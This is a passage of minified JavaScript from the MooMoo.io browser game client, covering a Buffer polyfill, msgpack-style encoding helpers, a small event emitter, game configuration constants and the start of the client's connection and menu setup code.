this[e] | this[e + 1] << 8 | this[e + 2] << 16 | this[e + 3] <<
24
}
,
c.prototype.readInt32BE = function(e, t) {
return t || C(e, 4, this.length),
this[e] << 24 | this[e + 1] << 16 | this[e + 2] << 8 | this[e +
3]
}
,
c.prototype.readFloatLE = function(e, t) {
return t || C(e, 4, this.length),
r.read(this, e, !0, 23, 4)
}
,
c.prototype.readFloatBE = function(e, t) {
return t || C(e, 4, this.length),
r.read(this, e, !1, 23, 4)
}
,
c.prototype.readDoubleLE = function(e, t) {
return t || C(e, 8, this.length),
r.read(this, e, !0, 52, 8)
}
,
c.prototype.readDoubleBE = function(e, t) {
return t || C(e, 8, this.length),
r.read(this, e, !1, 52, 8)
}
,
c.prototype.writeUIntLE = function(e, t, n, i) {
e = +e,
t |= 0,
n |= 0,
i || O(this, e, t, n, Math.pow(2, 8 * n) - 1, 0);
var r = 1
, s = 0;
for (this[t] = 255 & e; ++s < n && (r *= 256); )
this[t + s] = e / r & 255;
return t + n
}
,
c.prototype.writeUIntBE = function(e, t, n, i) {
e = +e,
t |= 0,
n |= 0,
i || O(this, e, t, n, Math.pow(2, 8 * n) - 1, 0);
var r = n - 1
, s = 1;
for (this[t + r] = 255 & e; --r >= 0 && (s *= 256); )
this[t + r] = e / s & 255;
return t + n
}
,
c.prototype.writeUInt8 = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 1, 255, 0),
c.TYPED_ARRAY_SUPPORT || (e = Math.floor(e)),
this[t] = 255 & e,
t + 1
}
,
c.prototype.writeUInt16LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 65535, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e,
this[t + 1] = e >>> 8) : R(this, e,
t, !0),
t + 2
}
,
c.prototype.writeUInt16BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 65535, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 8,
this[t + 1] = 255 & e) : R(this, e,
t, !1),
t + 2
}
,
c.prototype.writeUInt32LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 4294967295, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t + 3] = e >>> 24,
this[t + 2] = e >>> 16,
this[t + 1] = e >>> 8,
this[t] = 255 & e) : j(this, e, t, !0),
t + 4
}
,
c.prototype.writeUInt32BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 4294967295, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 24,
this[t + 1] = e >>> 16,
this[t + 2] = e >>> 8,
this[t + 3] = 255 & e) : j(this, e,
t, !1),
t + 4
}
,
c.prototype.writeIntLE = function(e, t, n, i) {
if (e = +e,
t |= 0,
!i) {
var r = Math.pow(2, 8 * n - 1);
O(this, e, t, n, r - 1, -r)
}
var s = 0
, a = 1
, o = 0;
for (this[t] = 255 & e; ++s < n && (a *= 256); )
e < 0 && 0 === o && 0 !== this[t + s - 1] && (o = 1),
this[t + s] = (e / a >> 0) - o & 255;
return t + n
}
,
c.prototype.writeIntBE = function(e, t, n, i) {
if (e = +e,
t |= 0,
!i) {
var r = Math.pow(2, 8 * n - 1);
O(this, e, t, n, r - 1, -r)
}
var s = n - 1
, a = 1
, o = 0;
for (this[t + s] = 255 & e; --s >= 0 && (a *= 256); )
e < 0 && 0 === o && 0 !== this[t + s + 1] && (o = 1),
this[t + s] = (e / a >> 0) - o & 255;
return t + n
}
,
c.prototype.writeInt8 = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 1, 127, -128),
c.TYPED_ARRAY_SUPPORT || (e = Math.floor(e)),
e < 0 && (e = 255 + e + 1),
this[t] = 255 & e,
t + 1
}
,
c.prototype.writeInt16LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 32767, -32768),
c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e,
this[t + 1] = e >>> 8) : R(this, e,
t, !0),
t + 2
}
,
c.prototype.writeInt16BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 32767, -32768),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 8,
this[t + 1] = 255 & e) : R(this, e,
t, !1),
t + 2
}
,
c.prototype.writeInt32LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 2147483647, -2147483648),
c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e,
this[t + 1] = e >>> 8,
this[t + 2] = e >>> 16,
this[t + 3] = e >>> 24) : j(this, e, t,
!0),
t + 4
}
,
c.prototype.writeInt32BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 2147483647, -2147483648),
e < 0 && (e = 4294967295 + e + 1),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 24,
this[t + 1] = e >>> 16,
this[t + 2] = e >>> 8,
this[t + 3] = 255 & e) : j(this, e,
t, !1),
t + 4
}
,
c.prototype.writeFloatLE = function(e, t, n) {
return U(this, e, t, !0, n)
}
,
c.prototype.writeFloatBE = function(e, t, n) {
return U(this, e, t, !1, n)
}
,
c.prototype.writeDoubleLE = function(e, t, n) {
return D(this, e, t, !0, n)
}
,
c.prototype.writeDoubleBE = function(e, t, n) {
return D(this, e, t, !1, n)
}
,
c.prototype.copy = function(e, t, n, i) {
if (n || (n = 0),
i || 0 === i || (i = this.length),
t >= e.length && (t = e.length),
t || (t = 0),
i > 0 && i < n && (i = n),
i === n)
return 0;
if (0 === e.length || 0 === this.length)
return 0;
if (t < 0)
throw new RangeError("targetStart out of bounds");
if (n < 0 || n >= this.length)
throw new RangeError("sourceStart out of bounds");
if (i < 0)
throw new RangeError("sourceEnd out of bounds");
i > this.length && (i = this.length),
e.length - t < i - n && (i = e.length - t + n);
var r, s = i - n;
if (this === e && n < t && t < i)
for (r = s - 1; r >= 0; --r)
e[r + t] = this[r + n];
else if (s < 1e3 || !c.TYPED_ARRAY_SUPPORT)
for (r = 0; r < s; ++r)
e[r + t] = this[r + n];
else
Uint8Array.prototype.set.call(e, this.subarray(n, n + s), t);
return s
}
,
c.prototype.fill = function(e, t, n, i) {
if ("string" == typeof e) {
if ("string" == typeof t ? (i = t,
t = 0,
n = this.length) : "string" ==
typeof n && (i = n,
n = this.length),
1 === e.length) {
var r = e.charCodeAt(0);
r < 256 && (e = r)
}
if (void 0 !== i && "string" != typeof i)
throw new TypeError("encoding must be a string");
if ("string" == typeof i && !c.isEncoding(i))
throw new TypeError("Unknown encoding: " + i)
} else
"number" == typeof e && (e &= 255);
if (t < 0 || this.length < t || this.length < n)
throw new RangeError("Out of range index");
if (n <= t)
return this;
var s;
if (t >>>= 0,
n = void 0 === n ? this.length : n >>> 0,
e || (e = 0),
"number" == typeof e)
for (s = t; s < n; ++s)
this[s] = e;
else {
var a = c.isBuffer(e) ? e : z(new c(e,i).toString())
, o = a.length;
for (s = 0; s < n - t; ++s)
this[s + t] = a[s % o]
}
return this
}
;
var L = /[^+\/0-9A-Za-z-_]/g;
function F(e) {
return e < 16 ? "0" + e.toString(16) : e.toString(16)
}
function z(e, t) {
var n;
t = t || 1 / 0;
for (var i = e.length, r = null, s = [], a = 0; a < i; ++a) {
if ((n = e.charCodeAt(a)) > 55295 && n < 57344) {
if (!r) {
if (n > 56319) {
(t -= 3) > -1 && s.push(239, 191, 189);
continue
}
if (a + 1 === i) {
(t -= 3) > -1 && s.push(239, 191, 189);
continue
}
r = n;
continue
}
if (n < 56320) {
(t -= 3) > -1 && s.push(239, 191, 189),
r = n;
continue
}
n = 65536 + (r - 55296 << 10 | n - 56320)
} else
r && (t -= 3) > -1 && s.push(239, 191, 189);
if (r = null,
n < 128) {
if ((t -= 1) < 0)
break;
s.push(n)
} else if (n < 2048) {
if ((t -= 2) < 0)
break;
s.push(n >> 6 | 192, 63 & n | 128)
} else if (n < 65536) {
if ((t -= 3) < 0)
break;
s.push(n >> 12 | 224, n >> 6 & 63 | 128, 63 & n | 128)
} else {
if (!(n < 1114112))
throw new Error("Invalid code point");
if ((t -= 4) < 0)
break;
s.push(n >> 18 | 240, n >> 12 & 63 | 128, n >> 6 & 63 | 128,
63 & n | 128)
}
}
return s
}
function H(e) {
return i.toByteArray(function(e) {
if ((e = function(e) {
return e.trim ? e.trim() : e.replace(/^\s+|\s+$/g, "")
}(e).replace(L, "")).length < 2)
return "";
for (; e.length % 4 != 0; )
e += "=";
return e
}(e))
}
function V(e, t, n, i) {
for (var r = 0; r < i && !(r + n >= t.length || r >= e.length); ++r)
t[r + n] = e[r];
return r
}
}
).call(this, n(12))
}
, function(e, t) {
var n;
n = function() {
return this
}();
try {
n = n || new Function("return this")()
} catch (e) {
"object" == typeof window && (n = window)
}
e.exports = n
}
, function(e, t) {
for (var n = t.uint8 = new Array(256), i = 0; i <= 255; i++)
n[i] = r(i);
function r(e) {
return function(t) {
var n = t.reserve(1);
t.buffer[n] = e
}
}
}
, function(e, t, n) {
t.FlexDecoder = s,
t.FlexEncoder = a;
var i = n(0)
, r = "BUFFER_SHORTAGE";
function s() {
if (!(this instanceof s))
return new s
}
function a() {
if (!(this instanceof a))
return new a
}
function o() {
throw new Error("method not implemented: write()")
}
function c() {
throw new Error("method not implemented: fetch()")
}
function l() {
return this.buffers && this.buffers.length ? (this.flush(),
this.pull()) :
this.fetch()
}
function h(e) {
(this.buffers || (this.buffers = [])).push(e)
}
function u() {
return (this.buffers || (this.buffers = [])).shift()
}
function f(e) {
return function(t) {
for (var n in e)
t[n] = e[n];
return t
}
}
s.mixin = f({
bufferish: i,
write: function(e) {
var t = this.offset ? i.prototype.slice.call(this.buffer,
this.offset) : this.buffer;
this.buffer = t ? e ? this.bufferish.concat([t, e]) : t : e,
this.offset = 0
},
fetch: c,
flush: function() {
for (; this.offset < this.buffer.length; ) {
var e, t = this.offset;
try {
e = this.fetch()
} catch (e) {
if (e && e.message != r)
throw e;
this.offset = t;
break
}
this.push(e)
}
},
push: h,
pull: u,
read: l,
reserve: function(e) {
var t = this.offset
, n = t + e;
if (n > this.buffer.length)
throw new Error(r);
return this.offset = n,
t
},
offset: 0
}),
s.mixin(s.prototype),
a.mixin = f({
bufferish: i,
write: o,
fetch: function() {
var e = this.start;
if (e < this.offset) {
var t = this.start = this.offset;
return i.prototype.slice.call(this.buffer, e, t)
}
},
flush: function() {
for (; this.start < this.offset; ) {
var e = this.fetch();
e && this.push(e)
}
},
push: h,
pull: function() {
var e = this.buffers || (this.buffers = [])
, t = e.length > 1 ? this.bufferish.concat(e) : e[0];
return e.length = 0,
t
},
read: l,
reserve: function(e) {
var t = 0 | e;
if (this.buffer) {
var n = this.buffer.length
, i = 0 | this.offset
, r = i + t;
if (r < n)
return this.offset = r,
i;
this.flush(),
e = Math.max(e, Math.min(2 * n, this.maxBufferSize))
}
return e = Math.max(e, this.minBufferSize),
this.buffer = this.bufferish.alloc(e),
this.start = 0,
this.offset = t,
0
},
send: function(e) {
var t = e.length;
if (t > this.minBufferSize)
this.flush(),
this.push(e);
else {
var n = this.reserve(t);
i.prototype.copy.call(e, this.buffer, n)
}
},
maxBufferSize: 65536,
minBufferSize: 2048,
offset: 0,
start: 0
}),
a.mixin(a.prototype)
}
, function(e, t, n) {
t.decode = function(e, t) {
var n = new i(t);
return n.write(e),
n.read()
}
;
var i = n(16).DecodeBuffer
}
, function(e, t, n) {
t.DecodeBuffer = r;
var i = n(8).preset;
function r(e) {
if (!(this instanceof r))
return new r(e);
if (e && (this.options = e,
e.codec)) {
var t = this.codec = e.codec;
t.bufferish && (this.bufferish = t.bufferish)
}
}
n(14).FlexDecoder.mixin(r.prototype),
r.prototype.codec = i,
r.prototype.fetch = function() {
return this.codec.decode(this)
}
}
, function(e, t, n) {
var i = n(4)
, r = n(7)
, s = r.Uint64BE
, a = r.Int64BE;
t.getReadFormat = function(e) {
var t = o.hasArrayBuffer && e && e.binarraybuffer
, n = e && e.int64;
return {
map: l && e && e.usemap ? u : h,
array: f,
str: d,
bin: t ? g : p,
ext: m,
uint8: y,
uint16: v,
uint32: b,
uint64: S(8, n ? E : T),
int8: k,
int16: w,
int32: x,
int64: S(8, n ? M : I),
float32: S(4, A),
float64: S(8, P)
}
}
,
t.readUint8 = y;
var o = n(0)
, c = n(6)
, l = "undefined" != typeof Map;
function h(e, t) {
var n, i = {}, r = new Array(t), s = new Array(t), a = e.codec.decode;
for (n = 0; n < t; n++)
r[n] = a(e),
s[n] = a(e);
for (n = 0; n < t; n++)
i[r[n]] = s[n];
return i
}
function u(e, t) {
var n, i = new Map, r = new Array(t), s = new Array(t), a =
e.codec.decode;
for (n = 0; n < t; n++)
r[n] = a(e),
s[n] = a(e);
for (n = 0; n < t; n++)
i.set(r[n], s[n]);
return i
}
function f(e, t) {
for (var n = new Array(t), i = e.codec.decode, r = 0; r < t; r++)
n[r] = i(e);
return n
}
function d(e, t) {
var n = e.reserve(t)
, i = n + t;
return c.toString.call(e.buffer, "utf-8", n, i)
}
function p(e, t) {
var n = e.reserve(t)
, i = n + t
, r = c.slice.call(e.buffer, n, i);
return o.from(r)
}
function g(e, t) {
var n = e.reserve(t)
, i = n + t
, r = c.slice.call(e.buffer, n, i);
return o.Uint8Array.from(r).buffer
}
function m(e, t) {
var n = e.reserve(t + 1)
, i = e.buffer[n++]
, r = n + t
, s = e.codec.getExtUnpacker(i);
if (!s)
throw new Error("Invalid ext type: " + (i ? "0x" + i.toString(16) :
i));
return s(c.slice.call(e.buffer, n, r))
}
function y(e) {
var t = e.reserve(1);
return e.buffer[t]
}
function k(e) {
var t = e.reserve(1)
, n = e.buffer[t];
return 128 & n ? n - 256 : n
}
function v(e) {
var t = e.reserve(2)
, n = e.buffer;
return n[t++] << 8 | n[t]
}
function w(e) {
var t = e.reserve(2)
, n = e.buffer
, i = n[t++] << 8 | n[t];
return 32768 & i ? i - 65536 : i
}
function b(e) {
var t = e.reserve(4)
, n = e.buffer;
return 16777216 * n[t++] + (n[t++] << 16) + (n[t++] << 8) + n[t]
}
function x(e) {
var t = e.reserve(4)
, n = e.buffer;
return n[t++] << 24 | n[t++] << 16 | n[t++] << 8 | n[t]
}
function S(e, t) {
return function(n) {
var i = n.reserve(e);
return t.call(n.buffer, i, !0)
}
}
function T(e) {
return new s(this,e).toNumber()
}
function I(e) {
return new a(this,e).toNumber()
}
function E(e) {
return new s(this,e)
}
function M(e) {
return new a(this,e)
}
function A(e) {
return i.read(this, e, !1, 23, 4)
}
function P(e) {
return i.read(this, e, !1, 52, 8)
}
}
, function(e, t, n) {
!function(t) {
e.exports = t;
var n = "listeners"
, i = {
on: function(e, t) {
return a(this, e).push(t),
this
},
once: function(e, t) {
var n = this;
return i.originalListener = t,
a(n, e).push(i),
n;
function i() {
s.call(n, e, i),
t.apply(this, arguments)
}
},
off: s,
emit: function(e, t) {
var n = this
, i = a(n, e, !0);
if (!i)
return !1;
var r = arguments.length;
if (1 === r)
i.forEach((function(e) {
e.call(n)
}
));
else if (2 === r)
i.forEach((function(e) {
e.call(n, t)
}
));
else {
var s = Array.prototype.slice.call(arguments, 1);
i.forEach((function(e) {
e.apply(n, s)
}
))
}
return !!i.length
}
};
function r(e) {
for (var t in i)
e[t] = i[t];
return e
}
function s(e, t) {
var i;
if (arguments.length) {
if (t) {
if (i = a(this, e, !0)) {
if (!(i = i.filter((function(e) {
return e !== t && e.originalListener !== t
}
))).length)
return s.call(this, e);
this[n][e] = i
}
} else if ((i = this[n]) && (delete i[e],
!Object.keys(i).length))
return s.call(this)
} else
delete this[n];
return this
}
function a(e, t, i) {
if (!i || e[n]) {
var r = e[n] || (e[n] = {});
return r[t] || (r[t] = [])
}
}
r(t.prototype),
t.mixin = r
}((/**
* event-lite.js - Light-weight EventEmitter (less than 1KB when gzipped)
*
* @copyright Yusuke Kawasaki
* @license MIT
* @constructor
* @see https://github.com/kawanet/event-lite
* @see http://kawanet.github.io/event-lite/EventLite.html
* @example
* var EventLite = require("event-lite");
*
* function MyClass() {...} // your class
*
* EventLite.mixin(MyClass.prototype); // import event methods
*
* var obj = new MyClass();
* obj.on("foo", function() {...}); // add event listener
* obj.once("bar", function() {...}); // add one-time event listener
* obj.emit("foo"); // dispatch event
* obj.emit("bar"); // dispatch another event
* obj.off("foo"); // remove event listener
*/
function e() {
if (!(this instanceof e))
return new e
}
))
}
, function(e, t, n) {
(function(t) {
e.exports.maxScreenWidth = 1920,
e.exports.maxScreenHeight = 1080,
e.exports.serverUpdateRate = 9,
e.exports.maxPlayers = t && -1 != t.argv.indexOf("--largeserver") ?
80 : 40,
e.exports.maxPlayersHard = e.exports.maxPlayers + 10,
e.exports.collisionDepth = 6,
e.exports.minimapRate = 3e3,
e.exports.colGrid = 10,
e.exports.clientSendRate = 5,
e.exports.healthBarWidth = 50,
e.exports.healthBarPad = 4.5,
e.exports.iconPadding = 15,
e.exports.iconPad = .9,
e.exports.deathFadeout = 3e3,
e.exports.crownIconScale = 60,
e.exports.crownPad = 35,
e.exports.chatCountdown = 3e3,
e.exports.chatCooldown = 500,
e.exports.inSandbox = t && "mm_exp" === t.env.VULTR_SCHEME,
e.exports.maxAge = 100,
e.exports.gatherAngle = Math.PI / 2.6,
e.exports.gatherWiggle = 10,
e.exports.hitReturnRatio = .25,
e.exports.hitAngle = Math.PI / 2,
e.exports.playerScale = 35,
e.exports.playerSpeed = .0016,
e.exports.playerDecel = .993,
e.exports.nameY = 34,
e.exports.skinColors = ["#bf8f54",],
e.exports.animalCount = 7,
e.exports.aiTurnRandom = .06,
e.exports.cowNames = ["Sid", "Steph", "Bmoe", "Romn",
"Jononthecool", "Fiona", "Vince", "Nathan", "Nick", "Flappy", "Ronald", "Otis",
"Pepe", "Mc Donald", "Theo", "Fabz", "Oliver", "Jeff", "Jimmy", "Helena", "Reaper",
"Ben", "Alan", "Naomi", "XYZ", "Clever", "Jeremy", "Mike", "Destined", "Stallion",
"Allison", "Meaty", "Sophia", "Vaja", "Joey", "Pendy", "Murdoch", "Theo", "Jared",
"July", "Sonia", "Mel", "Dexter", "Quinn", "Milky"],
e.exports.shieldAngle = Math.PI / 3,
e.exports.weaponVariants = [{
id: 0,
src: "",
xp: 0,
val: 1
}, {
id: 1,
src: "_g",
xp: 3e3,
val: 1.1
}, {
id: 2,
src: "_d",
xp: 7e3,
val: 1.18
}, {
id: 3,
src: "_r",
poison: !0,
xp: 12e3,
val: 1.18
}],
e.exports.fetchVariant = function(t) {
for (var n = t.weaponXP[t.weaponIndex] || 0, i =
e.exports.weaponVariants.length - 1; i >= 0; --i)
if (n >= e.exports.weaponVariants[i].xp)
return e.exports.weaponVariants[i]
}
,
e.exports.resourceTypes = ["wood", "food", "stone", "points"],
e.exports.areaCount = 7,
e.exports.treesPerArea = 9,
e.exports.bushesPerArea = 3,
e.exports.totalRocks = 32,
e.exports.goldOres = 7,
e.exports.riverWidth = 724,
e.exports.riverPadding = 114,
e.exports.waterCurrent = .0011,
e.exports.waveSpeed = 1e-4,
e.exports.waveMax = 1.3,
e.exports.treeScales = [150, 160, 165, 175],
e.exports.bushScales = [80, 85, 95],
e.exports.rockScales = [80, 85, 90],
e.exports.snowBiomeTop = 2400,
e.exports.snowSpeed = .75,
e.exports.maxNameLength = 15,
e.exports.mapScale = 14400,
e.exports.mapPingScale = 40,
e.exports.mapPingTime = 2200
}
).call(this, n(41))
}
, function(e, t) {
var n = {
utf8: {
stringToBytes: function(e) {
return n.bin.stringToBytes(unescape(encodeURIComponent(e)))
},
bytesToString: function(e) {
return decodeURIComponent(escape(n.bin.bytesToString(e)))
}
},
bin: {
stringToBytes: function(e) {
for (var t = [], n = 0; n < e.length; n++)
t.push(255 & e.charCodeAt(n));
return t
},
bytesToString: function(e) {
for (var t = [], n = 0; n < e.length; n++)
t.push(String.fromCharCode(e[n]));
return t.join("")
}
}
};
e.exports = n
}
, function(e, t, n) {
"use strict";
window.loadedScript = !0;
var i = "127.0.0.1" !== location.hostname && !
location.hostname.startsWith("192.168.");
n(22);
var r = n(23)
, s = n(42)
, a = n(43)
, o = n(19)
, c = n(44)
, l = n(45)
, h = (n(46),
n(47))
, u = n(48)
, f = n(55)
, d = n(56)
, p = n(57)
, g = n(58).obj
, m = new a.TextManager
, y = new (n(59))("moomoo.io",3e3,o.maxPlayers,5,!1);
y.debugLog = !1;
var k = !1;
function v() {
ht && ut && (k = !0,
i ?
window.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", {
action: "homepage"
}).then((function(e) {
w(e)
}
)) : w(null))
}
function w(e) {
y.start((function(t, n, a) {
var c = (i ? "wss" : "ws") + "://" + t + ":8008/?gameIndex=" + a;
e && (c += "&token=" + encodeURIComponent(e)),
r.connect(c, (function(e) {
Bi(),
setInterval(()=>Bi(), 2500),
e ? ft(e) : (ue.onclick = s.checkTrusted((function() {
!function() {
var e = ++bt > 1
, t = Date.now() - wt > vt;
e && t ? (wt = Date.now(),
xt()) : Tn()
}()
}
)),
s.hookTouchEvents(ue),
fe.onclick = s.checkTrusted((function() {
Oi("https://sploop.io")
}
)),
s.hookTouchEvents(fe),
pe.onclick = s.checkTrusted((function() {
setTimeout((function() {
!function() {
var e = xe.value
, t = prompt("party key", e);
t && (window.onbeforeunload = void 0,
window.location.href = "/?server=" + t)
}()
}
), 10)
}
)),
s.hookTouchEvents(pe),
ge.onclick = s.checkTrusted((function() {
Ae.classList.contains("showing") ?
(Ae.classList.remove("showing"),
me.innerText =
"Settings") : (Ae.classList.add("showing"),
me.innerText = "Close")
}
)),
s.hookTouchEvents(ge),
ye.onclick = s.checkTrusted((function() {
yn(),
"block" != Ye.style.display ? Ut() : Ye.style.display =
"none"
}
)),
s.hookTouchEvents(ye),
ke.onclick = s.checkTrusted((function() {
"block" != Qe.style.display ? (Qe.style.display = "block",
Ye.style.display = "none",
drawMenu(),
an(),
Gt()) : Qe.style.display =
"none"
}
)),
s.hookTouchEvents(ke),
ve.onclick = s.checkTrusted((function() {
rn()
}
)),
s.hookTouchEvents(ve),
Ne.onclick = s.checkTrusted((function() {
}
)),
s.hookTouchEvents(Ne),
function() {
for (var e = 0; e < jn.length; ++e) {
var t = new Image;
t.onload = function() {
this.isLoaded = !0
}
,
t.src = ".././img/icons/" + jn[e] + ".png",
Rn[jn[e]] = t
}
}(),
Pe.style.display = "none",
Me.style.display = "block",
Le.value = E("moo_name") || "",
function() {
var e = E("native_resolution");
Zt(e ? "true" == e : "undefined" != typeof cordova),
A = "true" == E("show_ping"),
Ie.hidden = !A,
E("moo_moosic"),
setInterval((function() {
window.cordova &&
(document.getElementById("downloadButtonContainer").classList.add("cordova"),
document.getElementById("mobileDownloadButtonContainer").classList.add("cordova"))
}
), 1e3),
en(),
s.removeAllChildren(Ce);
for (var t = 0; t < l.weapons.length + l.list.length; ++t)
!function(e) {
s.generateElement({
id: "actionBarItem" + e,
class: "actionBarItem",
style: "display:none",
onmouseout: function() {
Tt()
},
parent: Ce
})
}(t);
for (t = 0; t < l.list.length + l.weapons.length; ++t)
!function(e) {
var t = document.createElement("canvas");
t.width = t.height = 66;
var n = t.getContext("2d");
if (n.translate(t.width / 2, t.height / 2),
n.imageSmoothingEnabled = !1,
n.webkitImageSmoothingEnabled = !1,
n.mozImageSmoothingEnabled = !1,
l.weapons[e]) {
n.rotate(Math.PI / 4 + Math.PI);
var i = new Image;
Zn[l.weapons[e].src] = i,
i.onload = function() {
this.isLoaded = !0;
var i = 1 / (this.height / this.width)
, r = l.weapons[e].iPad || 1;
n.drawImage(this, -t.width * r * o.iconPad *
i / 2, -t.height * r * o.iconPad / 2, t.width * r * i * o.iconPad, t.height * r *
o.iconPad),
n.fillStyle = "rgba(0, 0, 70, 0.1)",
n.globalCompositeOperation = "source-
atop",
n.fillRect(-t.width / 2, -t.height / 2,
t.width, t.height),
document.getElementById("actionBarItem"
+ e).style.backgroundImage = "url(" + t.toDataURL() + ")"
}
,
i.src = ".././img/weapons/" +
l.weapons[e].src + ".png",
(r = document.getElementById("actionBarItem"
+ e)).onmouseover = s.checkTrusted((function() {
Tt(l.weapons[e], !0)
}
)),
r.onclick = s.checkTrusted((function() {
Sn(e, !0)
}
)),
s.hookTouchEvents(r)
} else {
i = ri(l.list[e - l.weapons.length], !0);
var r, a = Math.min(t.width - o.iconPadding,
i.width);
n.globalAlpha = 1,
n.drawImage(i, -a / 2, -a / 2, a, a),
n.fillStyle = "rgba(0, 0, 70, 0.1)",
n.globalCompositeOperation = "source-atop",
n.fillRect(-a / 2, -a / 2, a, a),
document.getElementById("actionBarItem" +
e).style.backgroundImage = "url(" + t.toDataURL() + ")",
(r = document.getElementById("actionBarItem"
+ e)).onmouseover = s.checkTrusted((function() {
Tt(l.list[e - l.weapons.length])
}
)),
r.onclick = s.checkTrusted((function() {
Sn(e - l.weapons.length)
}
)),
s.hookTouchEvents(r)
}
}(t);
Le.ontouchstart = s.checkTrusted((function(e) {
e.preventDefault();
var t = prompt("enter name", e.currentTarget.value);
e.currentTarget.value = t.slice(0, 15)
}
)),
Se.checked = M,
Se.onchange = s.checkTrusted((function(e) {
Zt(e.target.checked)
}
)),
Te.checked = A,
Te.onchange = s.checkTrusted((function(e) {
A = Te.checked,
Ie.hidden = !A,
I("show_ping", A ? "true" : "false")
}
))
}())
}
), {
id: st,
d: ft,
1: En,
2: vi,
4: wi,
33: Ti,
5: Ln,
6: li,
a: gi,
aa: pi,
7: Wn,
8: hi,
sp: ui,
9: xi,
h: Si,
11: Pn,
12: Cn,
13: Bn,
14: bi,
15: Dn,
16: Un,
17: $t,
18: fi,
19: di,
20: Ci,
ac: Ot,
ad: _t,
an: Bt,
st: Rt,
sa: jt,
us: Nt,
ch: hn,
mm: Wt,
t: Mn,
p: Yt,
pp: Pi
}),
pt(),
setTimeout(()=>gt(), 3e3)
}
), (function(e) {
console.error("Vultr error:", e),
alert("Error:\n" + e),
ft("disconnected")
}
))
}
var b, x = new g(o,s), S = Math.PI, T = 2 * S;
function I(e, t) {
b && localStorage.setItem(e, t)
}
function E(e) {
return b ? localStorage.getItem(e) : null
}
Math.lerpAngle = function(e, t, n) {
Math.abs(t - e) > S && (e > t ? t += T : e += T);
var i = t + (e - t) * n;
return i >= 0 && i <= T ? i : i % T
}
,
CanvasRenderingContext2D.prototype.roundRect = function(e, t, n, i, r) {
return n < 2 * r && (r = n / 2),
i < 2 * r && (r = i / 2),
r < 0 && (r = 0),
this.beginPath(),
this.moveTo(e + r, t),
this.arcTo(e + n, t, e + n, t + i, r),
this.arcTo(e + n, t + i, e, t + i, r),
this.arcTo(e, t + i, e, t, r),
this.arcTo(e, t, e + n, t, r),
this.closePath(),
this
}
,
"undefined" != typeof Storage && (b = !0),
E("consent") || (consentBlock.style.display = "block"),
window.checkTerms = function(e) {
e ? (consentBlock.style.display = "none",
I("consent", 1)) : $("#consentShake").effect("shake")
}
;
var M, A, P, B, C, O, R, j, _, U, D, L, F, z, H = E("moofoll"), V = 1, q =
Date.now(), Y = [], W = [], X = [], N = [], G = [], J = new p(d,G,W,Y,nt,l,o,s), K
= n(70), Q = n(71), Z = new K(Y,Q,W,l,null,o,s), ee = 1, te = 0, ne = 0, ie = 0, re
= {
id: -1,
startX: 0,
startY: 0,
currentX: 0,
currentY: 0
}, se = {
id: -1,
startX: 0,
startY: 0,
currentX: 0,
currentY: 0
}, ae = 0, oe = o.maxScreenWidth, ce = o.maxScreenHeight, le = !1, he =
(document.getElementById("ad-container"),
document.getElementById("mainMenu")), ue = document.getElementById("enterGame"), fe
= document.getElementById("promoImg"), de = document.getElementById("partyButton"),
pe = document.getElementById("joinPartyButton"), ge =
document.getElementById("settingsButton"), me = ge.getElementsByTagName("span")[0],
ye = document.getElementById("allianceButton"), ke =
document.getElementById("storeButton"), ve = document.getElementById("chatButton"),
we = document.getElementById("gameCanvas"), be = we.getContext("2d"), xe =
document.getElementById("serverBrowser"), Se =
document.getElementById("nativeResolution"), Te =
document.getElementById("showPing"), Ie = (document.getElementById("playMusic"),
document.getElementById("pingDisplay")), Ee =
document.getElementById("shutdownDisplay"), Me =
document.getElementById("menuCardHolder"), Ae =
document.getElementById("guideCard"), Pe = document.getElementById("loadingText"),
Be = document.getElementById("gameUI"), Ce = document.getElementById("actionBar"),
Oe = document.getElementById("scoreDisplay"), Re =
document.getElementById("foodDisplay"), je =
document.getElementById("woodDisplay"), _e =
document.getElementById("stoneDisplay"), Ue =
document.getElementById("killCounter"), De =
document.getElementById("leaderboardData"), Le =
document.getElementById("nameInput"), Fe =
document.getElementById("itemInfoHolder"), ze = document.getElementById("ageText"),
He = document.getElementById("ageBarBody"), Ve =
document.getElementById("upgradeHolder"), qe =
document.getElementById("upgradeCounter"), Ye =
document.getElementById("allianceMenu"), We =
document.getElementById("allianceHolder"), Xe =
document.getElementById("allianceManager"), Ne =
document.getElementById("mapDisplay"), Ge = document.getElementById("diedText"), Je
= document.getElementById("skinColorHolder"), Ke = Ne.getContext("2d");
Ne.width = 300,
Ne.height = 300;
var Qe = document.getElementById("storeMenu")
, $e = document.getElementById("storeHolder")
, Ze = document.getElementById("noticationDisplay")
, et = f.hats
, tt = f.accessories
, nt = new h(c,N,s,o)
, it = "#525252"
, rt = "#3d3f42";
function st(e) {
X = e.teams
}
var at = document.getElementById("featuredYoutube")
, ot = [{
name: "l._.re",
link: ""
}]
, ct = ot[s.randInt(0, ot.length - 1)];
at.innerHTML = "<a target='_blank' class='ytLink' href='" + ct.link + "'><i
class='material-icons' style='vertical-align: top;'></i> " + ct.name +
"</a>";
var lt = !0
, ht = !1
, ut = !1;
function ft(e) {
